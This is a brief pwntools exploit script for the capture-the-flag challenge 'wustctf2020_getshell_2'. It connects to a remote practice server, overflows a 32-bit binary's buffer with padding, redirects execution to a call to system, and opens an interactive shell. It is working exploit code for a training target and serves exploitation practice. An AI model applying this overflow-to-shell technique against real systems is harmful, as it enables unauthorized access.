wustctf2020_getshell_2

#coding:utf-8
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote("node4.buuoj.cn",29645)
#io = process('./wustctf2020_getshell_2')
elf = ELF('./wustctf2020_getshell_2')
call_system = 0x08048529 
payload = b'a'*(0x18+4)+p32(call_system)+p32(0x08048670)
io.send(payload)
io.interactive()